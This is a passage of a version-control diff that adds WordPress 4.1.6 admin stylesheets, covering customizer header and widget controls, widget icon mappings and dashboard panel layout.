+.ios #customize-preview {
+	position: relative;
+}
+
+.ios #customize-controls .wp-full-overlay-sidebar-content {
+	-webkit-overflow-scrolling: touch;
+}
+
+/** Header control **/
+
+.customize-control-upload .current,
+.customize-control-image .current,
+.customize-control-background .current,
+.customize-control-header .current {
+	margin-bottom: 8px;
+}
+
+.customize-control-header .uploaded {
+	margin-bottom: 18px;
+}
+
+.customize-control-header .uploaded button:not(.random),
+.customize-control-header .default button:not(.random) {
+	width: 100%;
+	padding: 0;
+	margin: 0;
+	background: none;
+	border: none;
+	color: inherit;
+	cursor: pointer;
+}
+
+.customize-control-header button img {
+	display: block;
+}
+
+.customize-control-upload .remove-button,
+.customize-control-upload .default-button,
+.customize-control-upload .upload-button,
+.customize-control-image .remove-button,
+.customize-control-image .default-button,
+.customize-control-image .upload-button,
+.customize-control-background .remove-button,
+.customize-control-background .default-button,
+.customize-control-background .upload-button,
+.customize-control-header button.new,
+.customize-control-header button.remove {
+	white-space: normal;
+	width: 48%;
+	height: auto;
+}
+
+.customize-control-upload .current .container,
+.customize-control-image .current .container,
+.customize-control-background .current .container,
+.customize-control-header .current .container {
+	overflow: hidden;
+	-webkit-border-radius: 2px;
+	border: 1px solid #eee;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+}
+
+.customize-control-upload .current .container,
+.customize-control-background .current .container,
+.customize-control-image .current .container {
+	min-height: 40px;
+}
+
+.customize-control-upload .placeholder,
+.customize-control-image .placeholder,
+.customize-control-background .placeholder,
+.customize-control-header .placeholder {
+	width: 100%;
+	position: relative;
+	text-align: center;
+	cursor: default;
+}
+
+.customize-control-upload .inner,
+.customize-control-image .inner,
+.customize-control-background .inner,
+.customize-control-header .inner {
+	display: none;
+	position: absolute;
+	width: 100%;
+	color: #555;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+	overflow: hidden;
+}
+
+.customize-control-upload .inner,
+.customize-control-background .inner,
+.customize-control-image .inner {
+	display: block;
+	min-height: 40px;
+}
+
+.customize-control-upload .inner,
+.customize-control-image .inner,
+.customize-control-background .inner,
+.customize-control-header .inner,
+.customize-control-header .inner .dashicons {
+	line-height: 20px;
+	top: 10px;
+}
+
+.customize-control-header .list .inner,
+.customize-control-header .list .inner .dashicons {
+	top: 9px;
+}
+
+.customize-control-header .header-view {
+	position: relative;
+	width: 100%;
+	margin-bottom: 5px;
+}
+
+.customize-control-header .header-view:last-child {
+	margin-bottom: 0px;
+}
+
+/* Convoluted, but 'outline' support isn't good enough yet */
+.customize-control-header .header-view:after {
+	border: 0;
+}
+.customize-control-header .header-view.selected:after {
+	content: '';
+	position: absolute;
+	height: auto;
+	top: 0; left: 0; bottom: 0; right: 0;
+	border: 4px solid #2ea2cc;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+}
+.customize-control-header .header-view.button.selected {
+	border: 0;
+}
+
+/* Header control: overlay "close" button */
+
+.customize-control-header .uploaded .header-view .close {
+	font-size: 2em;
+	color: grey;
+	position: absolute;
+	visibility: hidden;
+	top: 10px;
+	right: 10px;
+	z-index: 1;
+	width: 20px;
+	height: 20px;
+	cursor: pointer;
+}
+
+.customize-control-header .uploaded .header-view .close:hover {
+ color: black;
+ text-shadow:
+    -1px -1px 0 #fff,
+    1px -1px 0 #fff,
+    -1px 1px 0 #fff,
+    1px 1px 0 #fff;
+}
+
+.customize-control-header .header-view:hover .close {
+	visibility: visible;
+}
+
+/* Header control: randomiz(s)er */
+
+.customize-control-header .random.placeholder {
+	cursor: pointer;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	height: 40px;
+}
+
+.customize-control-header button.random {
+	width: 100%;
+	height: auto;
+	min-height: 40px;
+	white-space: normal;
+}
+
+.customize-control-header button.random .dice {
+	margin-top: 4px;
+}
+
+.customize-control-header .placeholder:hover .dice,
+.customize-control-header .header-view:hover > button.random .dice {
+	-webkit-animation: dice-color-change 3s infinite;
+	-ms-animation: dice-color-change 3s infinite;
+	animation: dice-color-change 3s infinite;
+}
+
+@-webkit-keyframes dice-color-change {
+	0% { color: #d4b146; }
+	50% { color: #ef54b0; }
+	75% { color: #7190d3; }
+	100% { color: #d4b146; }
+}
+
+@-ms-keyframes dice-color-change {
+	0% { color: #d4b146; }
+	50% { color: #ef54b0; }
+	75% { color: #7190d3; }
+	100% { color: #d4b146; }
+}
+
+@keyframes dice-color-change {
+	0% { color: #d4b146; }
+	50% { color: #ef54b0; }
+	75% { color: #7190d3; }
+	100% { color: #d4b146; }
+}
+
+.customize-control-upload .actions,
+.customize-control-image .actions,
+.customize-control-background .actions,
+.customize-control-header .actions {
+	margin-bottom: 32px;
+}
+
+.customize-control-header .choice {
+	position: relative;
+	display: block;
+	margin-bottom: 9px;
+}
+
+.customize-control-header .uploaded div:last-child > .choice {
+	margin-bottom: 0;
+}
+
+.customize-control-upload img,
+.customize-control-image img,
+.customize-control-background img,
+.customize-control-header img {
+	width: 100%;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+}
+
+.customize-control-upload .remove-button,
+.customize-control-upload .default-button,
+.customize-control-image .remove-button,
+.customize-control-image .default-button,
+.customize-control-background .remove-button,
+.customize-control-background .default-button,
+.customize-control-header .remove {
+	float: left;
+	margin-right: 3px;
+}
+
+.customize-control-upload .upload-button,
+.customize-control-image .upload-button,
+.customize-control-background .upload-button,
+.customize-control-header .new {
+	float: right;
+}
+
+
+/** Handle cheaters. */
+body.cheatin {
+	font-size: medium;
+	height: auto;
+	background: #fff;
+	margin: 50px auto 2em;
+	padding: 1em 2em;
+	max-width: 700px;
+	min-width: 0;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+}
+
+body.cheatin p {
+	font-size: 14px;
+	line-height: 1.5;
+	margin: 25px 0 20px;
+}
Index: /tags/4.1.6/src/wp-admin/css/customize-widgets.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/customize-widgets.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/customize-widgets.css	(revision 33402)
@@ -0,0 +1,603 @@
+.wp-full-overlay-sidebar {
+	overflow: visible;
+}
+
+/**
+ * Hide all sidebar sections by default, only show them (via JS) once the
+ * preview loads and we know whether the sidebars are used in the template.
+ */
+
+.control-section.control-section-sidebar,
+.customize-control-sidebar_widgets label,
+.customize-control-sidebar_widgets .hide-if-js {
+	/* The link in .customize-control-sidebar_widgets .hide-if-js will fail if it ever gets used. */
+	display: none;
+}
+
+.customize-control-widget_form .widget-top {
+	-webkit-transition: opacity 0.5s;
+	transition: opacity 0.5s;
+}
+
+.customize-control-widget_form:not(.widget-rendered) .widget-top {
+	opacity: 0.5;
+}
+
+.customize-control-widget_form .widget-control-save,
+.customize-control-widget_form .spinner {
+	display: none;
+}
+
+.customize-control-widget_form.previewer-loading .spinner {
+	display: inline;
+}
+
+.customize-control-widget_form.widget-form-disabled .widget-content {
+	opacity: 0.7;
+	pointer-events: none;
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.customize-control-widget_form .widget {
+	margin-bottom: 0;
+}
+
+.customize-control-widget_form.wide-widget-control .widget-inside {
+	position: fixed;
+	left: 299px;
+	top: 25%;
+	border: 1px solid rgb(229, 229, 229);
+	overflow: auto;
+}
+.customize-control-widget_form.wide-widget-control .widget-inside > .form {
+	padding: 20px;
+}
+
+.customize-control-widget_form.wide-widget-control .widget-top {
+	-webkit-transition: background-color 0.4s;
+	transition: background-color 0.4s;
+}
+.customize-control-widget_form.wide-widget-control.expanding .widget-top,
+.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top {
+	background-color: rgb(227, 227, 227);
+}
+
+.widget-inside {
+	padding: 1px 10px 10px 10px;
+	border-top: none;
+	line-height: 16px;
+}
+
+.widget-top {
+	cursor: move;
+}
+
+.customize-control-widget_form.expanded a.widget-action:after {
+	content: "\f142";
+}
+
+.customize-control-widget_form.wide-widget-control a.widget-action:after {
+	content: "\f139";
+}
+
+.customize-control-widget_form.wide-widget-control.expanded a.widget-action:after {
+	content: "\f141";
+}
+
+.widget-title-action {
+	cursor: pointer;
+}
+
+.customize-control-widget_form .widget .customize-control-title {
+	cursor: move;
+}
+
+.control-section.accordion-section.highlighted > .accordion-section-title,
+.customize-control-widget_form.highlighted {
+	outline: none;
+	-webkit-box-shadow: 0 0 2px rgba(30,140,190,0.8);
+	box-shadow: 0 0 2px rgba(30,140,190,0.8);
+	position: relative;
+	z-index: 1;
+}
+
+#widget-customizer-control-templates {
+	display: none;
+}
+
+/**
+* Widget reordering styles
+**/
+
+.reorder-toggle {
+	float: right;
+	padding: 5px 8px;
+	text-decoration: none;
+	cursor: pointer;
+	outline: none;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+.reorder-toggle:focus {
+	outline: 1px dotted;
+}
+
+.reorder-done,
+.reordering .reorder {
+	display: none;
+}
+
+.reordering .reorder-done {
+	display: block;
+	color: #aa0000;
+}
+
+#customize-theme-controls .reordering .add-new-widget {
+	opacity: 0.2;
+	pointer-events: none;
+	cursor: not-allowed;
+}
+
+#customize-theme-controls .widget-reorder-nav {
+	display: none;
+	float: right;
+	background-color: #fafafa;
+}
+
+.widget-reorder-nav span {
+	position: relative;
+	overflow: hidden;
+	float: left;
+	display: block;
+	width: 33px; /* was 42px for mobile */
+	height: 43px;
+	color: #888;
+	text-indent: -9999px;
+	cursor: pointer;
+	outline: none;
+}
+
+.widget-reorder-nav span:before {
+	display: inline-block;
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 100%;
+	height: 100%;
+	font: normal 20px/43px 'dashicons';
+	text-align: center;
+	text-indent: 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.widget-reorder-nav span:hover,
+.widget-reorder-nav span:focus {
+	color: #444;
+	background: #eee;
+}
+
+.move-widget:before {
+	content: '\f504';
+}
+
+.move-widget-down:before {
+	content: '\f347';
+}
+
+.move-widget-up:before {
+	content: '\f343';
+}
+
+#customize-theme-controls .first-widget .move-widget-up,
+#customize-theme-controls .last-widget .move-widget-down {
+	color: #d5d5d5;
+	cursor: default;
+}
+
+#customize-theme-controls  .move-widget-area {
+	display: none;
+	background: #fff;
+	border: 1px solid #dedede;
+	border-top: none;
+	cursor: auto;
+}
+
+#customize-theme-controls .reordering .move-widget-area.active {
+	display: block;
+}
+
+#customize-theme-controls .move-widget-area .description {
+	margin: 0;
+	padding: 15px 20px;
+	font-weight: 400;
+}
+
+#customize-theme-controls .widget-area-select {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+#customize-theme-controls .widget-area-select li {
+	position: relative;
+	margin: 0;
+	padding: 13px 15px 15px 42px;
+	color: #555;
+	border-top: 1px solid #eee;
+	cursor: pointer;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#customize-theme-controls .widget-area-select li:before {
+	display: none;
+	content: '\f147';
+	position: absolute;
+	top: 12px;
+	left: 10px;
+	font: normal 20px/1 'dashicons';
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#customize-theme-controls .widget-area-select li:last-child {
+	border-bottom: 1px solid #eee;
+}
+
+#customize-theme-controls .widget-area-select .selected {
+	color: #fff;
+	text-shadow: 0 -1px 0 rgba(0,0,0,.4);
+	background: #2ea2cc;
+}
+
+#customize-theme-controls .widget-area-select .selected:before {
+	display: block;
+}
+
+#customize-theme-controls .move-widget-actions {
+	text-align: right;
+	padding: 12px;
+}
+
+#customize-theme-controls .reordering .widget-title-action {
+	display: none;
+}
+
+#customize-theme-controls .reordering .widget-reorder-nav {
+	display: block;
+}
+
+
+/**
+ * Styles for new widget addition panel
+ */
+.wp-full-overlay-main {
+	right: auto; /* this overrides a right: 0; which causes the preview to resize, I'd rather have it go off screen at the normal size. */
+	width: 100%;
+}
+
+#customize-theme-controls .add-new-widget {
+	cursor: pointer;
+	float: right;
+	margin-left: 10px;
+	-webkit-transition: all 0.2s;
+	transition: all 0.2s;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	outline: none;
+}
+
+.add-new-widget:before {
+	content: "\f132";
+	display: inline-block;
+	position: relative;
+	left: -2px;
+	top: -1px;
+	font: normal 20px/1 'dashicons';
+	vertical-align: middle;
+	-webkit-transition: all 0.2s;
+	transition: all 0.2s;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+body.adding-widget .add-new-widget,
+body.adding-widget .add-new-widget:hover {
+	background: #eee;
+	border-color: #999;
+	color: #333;
+	-webkit-box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
+	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
+}
+body.adding-widget .add-new-widget:before {
+	-webkit-transform: rotate(45deg);
+	-ms-transform: rotate(45deg);
+	transform: rotate(45deg);
+}
+
+#available-widgets .widget {
+	position: static;
+}
+
+/* override widgets admin page rules in wp-admin/css/wp-admin.css */
+#widgets-left #available-widgets .widget {
+	float: none !important;
+	width: auto !important;
+}
+
+#available-widgets {
+	position: absolute;
+	overflow: auto;
+	top: 0;
+	bottom: 0;
+	left: -301px;
+	width: 300px;
+	margin: 0;
+	z-index: 1;
+	background: #fff;
+	-webkit-transition: all 0.2s;
+	transition: all 0.2s;
+	border-right: 1px solid #dddddd;
+}
+
+#available-widgets-filter {
+	padding: 8px 17px 7px 13px;
+	border-bottom: 1px solid #e4e4e4;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#available-widgets-filter input {
+	padding: 5px 10px 2px 10px;
+	width: 100%;
+}
+
+#available-widgets .widget-tpl {
+	position: relative;
+	padding: 20px 15px 20px 60px;
+	border-bottom: 1px solid #e4e4e4;
+	cursor: pointer;
+	display: none;
+}
+
+#available-widgets .widget-tpl:hover,
+#available-widgets .widget-tpl.selected {
+	background: #fafafa;
+}
+
+#available-widgets .widget-top,
+#available-widgets .widget-top:hover {
+	border: none;
+	background: transparent;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#available-widgets .widget-title h4 {
+	padding: 0 0 5px;
+	font-size: 14px;
+}
+
+#available-widgets .widget .widget-description {
+	padding: 0;
+	color: #777;
+}
+
+#customize-preview {
+	-webkit-transition: all 0.2s;
+	transition: all 0.2s;
+}
+
+body.adding-widget #available-widgets {
+	left: 0;
+}
+
+body.adding-widget .wp-full-overlay-main {
+	left: 300px;
+}
+
+body.adding-widget #customize-preview {
+	opacity: 0.4;
+}
+
+
+/**
+ * Widget Icon styling
+ * No plurals in naming.
+ * Ordered from lowest to highest specificity.
+ **/
+#available-widgets .widget-title {
+	position: relative;
+}
+
+#available-widgets .widget-title:before {
+	content: "\f132";
+	position: absolute;
+	top: -3px;
+	right: 100%;
+	margin-right: 20px;
+	width: 20px;
+	height: 20px;
+	color: #333;
+	font: normal 20px/1 'dashicons';
+	text-align: center;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* smiley */
+#available-widgets [class*="easy"] .widget-title:before { content: "\f328"; top: -4px; }
+
+/* star-filled */
+#available-widgets [class*="super"] .widget-title:before,
+#available-widgets [class*="like"] .widget-title:before { content: "\f155"; top: -4px; }
+
+/* wordpress */
+#available-widgets [class*="meta"] .widget-title:before { content: "\f120"; }
+
+/* archive-box */
+#available-widgets [class*="archives"] .widget-title:before { content: "\f480"; top: -4px; }
+
+/* category */
+#available-widgets [class*="categor"] .widget-title:before { content: "\f318"; top: -4px; }
+
+/* comments */
+#available-widgets [class*="comment"] .widget-title:before,
+#available-widgets [class*="testimonial"] .widget-title:before,
+#available-widgets [class*="chat"] .widget-title:before { content: "\f101"; }
+
+/* post */
+#available-widgets [class*="post"] .widget-title:before { content: "\f109"; }
+
+/* admin-page */
+#available-widgets [class*="page"] .widget-title:before { content: "\f105"; }
+
+/* text */
+#available-widgets [class*="text"] .widget-title:before { content: "\f478"; }
+
+/* links */
+#available-widgets [class*="link"] .widget-title:before { content: "\f103"; }
+
+/* search */
+#available-widgets [class*="search"] .widget-title:before { content: "\f179"; }
+
+/* menu */
+#available-widgets [class*="menu"] .widget-title:before,
+#available-widgets [class*="nav"] .widget-title:before { content: "\f333"; }
+
+/* tag-cloud */
+#available-widgets [class*="tag"] .widget-title:before { content: "\f479"; }
+
+/* rss */
+#available-widgets [class*="rss"] .widget-title:before { content: "\f303"; top: -6px; }
+
+/* calendar */
+#available-widgets [class*="event"] .widget-title:before,
+#available-widgets [class*="calendar"] .widget-title:before { content: "\f145"; top: -4px;}
+
+/* format-image */
+#available-widgets [class*="image"] .widget-title:before,
+#available-widgets [class*="photo"] .widget-title:before,
+#available-widgets [class*="slide"] .widget-title:before,
+#available-widgets [class*="instagram"] .widget-title:before { content: "\f128"; }
+
+/* format-gallery */
+#available-widgets [class*="album"] .widget-title:before,
+#available-widgets [class*="galler"] .widget-title:before { content: "\f161"; }
+
+/* format-video */
+#available-widgets [class*="video"] .widget-title:before,
+#available-widgets [class*="tube"] .widget-title:before { content: "\f126"; }
+
+/* format-audio */
+#available-widgets [class*="music"] .widget-title:before,
+#available-widgets [class*="radio"] .widget-title:before,
+#available-widgets [class*="audio"] .widget-title:before { content: "\f127"; }
+
+/* admin-users */
+#available-widgets [class*="login"] .widget-title:before,
+#available-widgets [class*="user"] .widget-title:before,
+#available-widgets [class*="member"] .widget-title:before,
+#available-widgets [class*="avatar"] .widget-title:before,
+#available-widgets [class*="subscriber"] .widget-title:before,
+#available-widgets [class*="profile"] .widget-title:before,
+#available-widgets [class*="grofile"] .widget-title:before { content: "\f110"; }
+
+/* cart */
+#available-widgets [class*="commerce"] .widget-title:before,
+#available-widgets [class*="shop"] .widget-title:before,
+#available-widgets [class*="cart"] .widget-title:before { content: "\f174"; top: -4px; }
+
+/* shield */
+#available-widgets [class*="secur"] .widget-title:before,
+#available-widgets [class*="firewall"] .widget-title:before { content: "\f332"; }
+
+/* chart-bar */
+#available-widgets [class*="analytic"] .widget-title:before,
+#available-widgets [class*="stat"] .widget-title:before,
+#available-widgets [class*="poll"] .widget-title:before { content: "\f185"; }
+
+/* feedback */
+#available-widgets [class*="form"] .widget-title:before { content: "\f175"; }
+
+/* email-alt */
+#available-widgets [class*="subscribe"] .widget-title:before,
+#available-widgets [class*="news"] .widget-title:before,
+#available-widgets [class*="contact"] .widget-title:before,
+#available-widgets [class*="mail"] .widget-title:before { content: "\f466"; }
+
+/* share */
+#available-widgets [class*="share"] .widget-title:before,
+#available-widgets [class*="socia"] .widget-title:before { content: "\f237"; }
+
+/* translation */
+#available-widgets [class*="lang"] .widget-title:before,
+#available-widgets [class*="translat"] .widget-title:before { content: "\f326"; }
+
+/* location-alt */
+#available-widgets [class*="locat"] .widget-title:before,
+#available-widgets [class*="map"] .widget-title:before { content: "\f231"; }
+
+/* download */
+#available-widgets [class*="download"] .widget-title:before { content: "\f316"; }
+
+/* cloud */
+#available-widgets [class*="weather"] .widget-title:before { content: "\f176"; top: -4px;}
+
+/* facebook */
+#available-widgets [class*="facebook"] .widget-title:before { content: "\f304"; }
+
+/* twitter */
+#available-widgets [class*="tweet"] .widget-title:before,
+#available-widgets [class*="twitter"] .widget-title:before { content: "\f301"; }
+
+
+@media screen and (max-height: 700px) and (min-width: 981px) {
+	.customize-control {
+		margin-bottom: 0;
+	}
+	.widget-top {
+		-webkit-box-shadow: none;
+		box-shadow: none;
+		margin-top: -1px;
+	}
+	.widget-top:hover {
+		position: relative;
+		z-index: 1;
+	}
+	.last-widget {
+		margin-bottom: 15px;
+	}
+	.widget-title h4 {
+		padding: 13px 15px;
+	}
+	.widget-top a.widget-action:after {
+		padding-top: 9px;
+	}
+	.widget-reorder-nav span {
+		height: 39px;
+	}
+	.widget-reorder-nav span:before {
+		line-height: 39px;
+	}
+	#customize-theme-controls .widget-area-select li {
+		padding: 9px 15px 11px 42px;
+	}
+	#customize-theme-controls .widget-area-select li:before {
+		top: 8px;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/dashboard.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/dashboard.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/dashboard.css	(revision 33402)
@@ -0,0 +1,1116 @@
+#wpbody-content #dashboard-widgets.columns-1 .postbox-container {
+	width: 100%;
+}
+
+#wpbody-content #dashboard-widgets.columns-2 .postbox-container {
+	width: 49.5%;
+}
+
+#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,
+#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,
+#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 {
+	float: right;
+	width: 50.5%;
+}
+
+#wpbody-content #dashboard-widgets.columns-3 .postbox-container {
+	width: 33.5%;
+}
+
+#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 {
+	width: 33%;
+}
+
+#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,
+#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 {
+	float: right;
+}
+
+#wpbody-content #dashboard-widgets.columns-4 .postbox-container {
+	width: 25%;
+}
+
+#dashboard-widgets .postbox-container {
+	width: 25%;
+}
+
+#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container {
+	border: none !important;
+}
+
+.ie8 #wpbody-content #dashboard-widgets .postbox-container {
+	width: 49.5%;
+}
+
+.ie8 #wpbody-content #dashboard-widgets #postbox-container-2,
+.ie8 #wpbody-content #dashboard-widgets #postbox-container-3,
+.ie8 #wpbody-content #dashboard-widgets #postbox-container-4 {
+	float: right;
+	width: 50.5%;
+}
+
+.ie8 #dashboard-widgets #postbox-container-3 .empty-container,
+.ie8 #dashboard-widgets #postbox-container-4 .empty-container {
+	border: 0 none;
+	height: 0;
+	min-height: 0;
+}
+
+/*------------------------------------------------------------------------------
+  9.0 - Dashboard
+------------------------------------------------------------------------------*/
+
+#dashboard-widgets-wrap {
+	overflow: hidden;
+	margin: 0 -8px;
+}
+
+#dashboard-widgets .postbox .inside {
+	margin-bottom: 0;
+}
+
+#dashboard-widgets .meta-box-sortables {
+	margin: 0 8px;
+	min-height: 100px;
+}
+
+/* @todo: this was originally in this section, but likely belongs elsewhere */
+#the-comment-list td.comment p.comment-author {
+	margin-top: 0;
+	margin-left: 0;
+}
+
+#the-comment-list p.comment-author img {
+	float: left;
+	margin-right: 8px;
+}
+
+#the-comment-list p.comment-author strong a {
+	border: none;
+}
+
+#the-comment-list td {
+	vertical-align: top;
+}
+
+#the-comment-list td.comment {
+	word-wrap: break-word;
+}
+
+#the-comment-list td.comment img {
+	max-width: 100%;
+}
+
+/* Welcome Panel */
+.welcome-panel {
+	position: relative;
+	overflow: auto;
+	margin: 16px 0;
+	padding: 23px 10px 0;
+	border: 1px solid #e5e5e5;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+	font-size: 13px;
+	line-height: 2.1em;
+}
+
+.welcome-panel h3 {
+	margin: 0;
+	font-size: 21px;
+	font-weight: normal;
+	line-height: 1.2;
+}
+
+.welcome-panel h4 {
+	margin: 1.33em 0 0;
+	font-size: 16px;
+}
+
+.welcome-panel li {
+	font-size: 14px;
+}
+
+.welcome-panel p {
+	color: #777;
+}
+
+.welcome-panel a {
+	text-decoration: none;
+}
+
+.welcome-panel .about-description {
+	font-size: 16px;
+	margin: 0;
+}
+
+.welcome-panel .welcome-panel-close {
+	position: absolute;
+	top: 5px;
+	right: 10px;
+	padding: 20px 15px 0 3px;
+	font-size: 13px;
+	text-decoration: none;
+	line-height: 1;
+}
+
+#welcome-panel.welcome-panel .welcome-panel-close:before {
+	position: absolute;
+	left: -18px;
+	margin-top: -2px;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+.wp-core-ui .welcome-panel .button.button-hero {
+	margin: 15px 13px 3px 0;
+	padding: 12px 36px;
+	height: auto;
+	line-height: 1.4285714;
+	white-space: normal;
+}
+
+.welcome-panel-content {
+	margin-left: 13px;
+	max-width: 1500px;
+}
+
+.welcome-panel .welcome-panel-column-container {
+	clear: both;
+	overflow: hidden;
+	position: relative;
+}
+
+.welcome-panel .welcome-panel-column {
+	width: 32%;
+	min-width: 200px;
+	float: left;
+}
+
+.ie8 .welcome-panel .welcome-panel-column {
+	min-width: 230px;
+}
+
+.welcome-panel .welcome-panel-column:first-child {
+	width: 36%;
+}
+
+.welcome-panel-column p.hide-if-no-customize {
+	margin-top: 10px;
+}
+
+.welcome-panel-column p {
+	margin-top: 7px;
+	color: #464646;
+}
+
+.welcome-panel .welcome-icon {
+	display: block;
+	padding: 0 0 8px;
+	background: transparent !important;
+}
+
+.welcome-panel .welcome-icon:before {
+	color: #888;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 0 10px 0 0;
+	top: -1px;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	vertical-align: top;
+}
+
+.welcome-panel .welcome-write-blog:before,
+.welcome-panel .welcome-edit-page:before {
+	content:'\f119';
+	top: -3px;
+}
+
+.welcome-panel .welcome-add-page:before {
+	content:'\f132';
+}
+
+.welcome-panel .welcome-view-site:before {
+	content:'\f115';
+	top: -2px;
+}
+
+.welcome-panel .welcome-widgets-menus:before {
+	content:'\f116';
+	top: -2px;
+}
+
+.welcome-panel .welcome-comments:before {
+	content:'\f117';
+	top: -1px;
+}
+
+.welcome-panel .welcome-learn-more:before {
+	content:'\f118';
+	top: -1px;
+}
+
+.welcome-panel .welcome-widgets-menus {
+	line-height: 16px;
+}
+
+.welcome-panel .welcome-panel-column ul {
+	margin: 0.8em 1em 1em 0;
+}
+
+.welcome-panel .welcome-panel-column li {
+	line-height: 16px;
+	list-style-type: none;
+}
+
+/* Dashboard WordPress news */
+
+#dashboard_primary .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#dashboard_primary .widget-loading,
+#dashboard_primary .dashboard-widget-control-form {
+	padding: 12px 12px 0;
+}
+
+body #dashboard-widgets .postbox form .submit {
+	margin: 0;
+}
+
+.dashboard-widget-control-form {
+	overflow: hidden;
+}
+
+.dashboard-widget-control-form p {
+	margin-top: 0;
+}
+
+.rssSummary {
+	color: #777;
+	margin-top: 4px;
+}
+
+#dashboard_primary .rss-widget {
+	border-bottom: 1px solid #eee;
+	font-size: 13px;
+	padding: 8px 12px 10px;
+}
+
+#dashboard_primary .rss-widget:last-child {
+	border-bottom: none;
+	padding-bottom: 8px;
+}
+
+#dashboard_primary .rss-widget a {
+	font-weight: normal;
+}
+
+#dashboard_primary .rss-widget span,
+#dashboard_primary .rss-widget span.rss-date {
+	color: #777;
+}
+
+#dashboard_primary .rss-widget span.rss-date {
+	margin-left: 12px;
+}
+
+#dashboard_primary .rss-widget ul li {
+	margin-bottom: 8px;
+}
+
+/* Dashboard right now */
+
+#dashboard_right_now ul {
+	margin: 0;
+	overflow: hidden;
+}
+
+#dashboard_right_now li {
+	width: 50%;
+	float: left;
+	margin-bottom: 10px;
+}
+
+#dashboard_right_now .inside {
+	overflow: hidden;
+	padding: 0;
+}
+
+#dashboard_right_now .main {
+	overflow: hidden;
+	padding: 0 12px 11px;
+}
+
+#dashboard_right_now .main p {
+	margin: 0;
+}
+
+#dashboard_right_now #wp-version-message .button {
+	clear: right;
+	float: right;
+	position: relative;
+	top: -5px;
+}
+
+.mu-storage {
+	overflow: hidden;
+}
+
+#dashboard-widgets h4.mu-storage {
+	margin-bottom: 10px;
+}
+
+/* Dashboard right now - Colors */
+
+#dashboard_right_now li a:before,
+#dashboard_right_now li span:before {
+	color: #888;
+}
+
+#dashboard_right_now .sub {
+	color: #777;
+	background: #f5f5f5;
+	border-top: 1px solid #eee;
+	padding: 10px 12px 6px 12px;
+}
+
+#dashboard_right_now .sub h4 {
+	color: #555;
+}
+
+#dashboard_right_now .sub p {
+	margin: 0 0 1em;
+}
+
+#dashboard_right_now .warning a:before,
+#dashboard_right_now .warning span:before {
+	color: #d54e21;
+}
+
+/* Dashboard right now - Icons */
+#dashboard_right_now li a:before,
+#dashboard_right_now li span:before {
+	content: '\f159';
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: block;
+	float: left;
+	margin: 0 5px 0 0;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	text-decoration: none !important;
+}
+
+#dashboard_right_now .page-count a:before,
+#dashboard_right_now .page-count span:before {
+	content: '\f105';
+}
+
+#dashboard_right_now .post-count a:before,
+#dashboard_right_now .post-count span:before {
+	content: '\f109';
+}
+
+#dashboard_right_now .comment-count a:before {
+	content: '\f101';
+}
+
+#dashboard_right_now .comment-mod-count a:before {
+	content: '\f125';
+}
+
+#dashboard_right_now .storage-count a:before {
+	content: '\f104';
+}
+
+#dashboard_right_now .storage-count.warning a:before {
+	content: '\f153';
+}
+
+/* Dashboard Quick Draft */
+
+#dashboard_quick_press .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#dashboard_quick_press div.updated {
+	margin-bottom: 10px;
+	border: 1px solid #eee;
+	border-width: 1px 1px 1px 0;
+}
+
+#dashboard_quick_press form {
+	overflow: hidden;
+	margin: 12px;
+}
+
+#dashboard_quick_press .drafts,
+#dashboard_quick_press .easy-blogging {
+	padding: 10px 0 0;
+}
+
+/* Dashboard Quick Draft - Form styling */
+
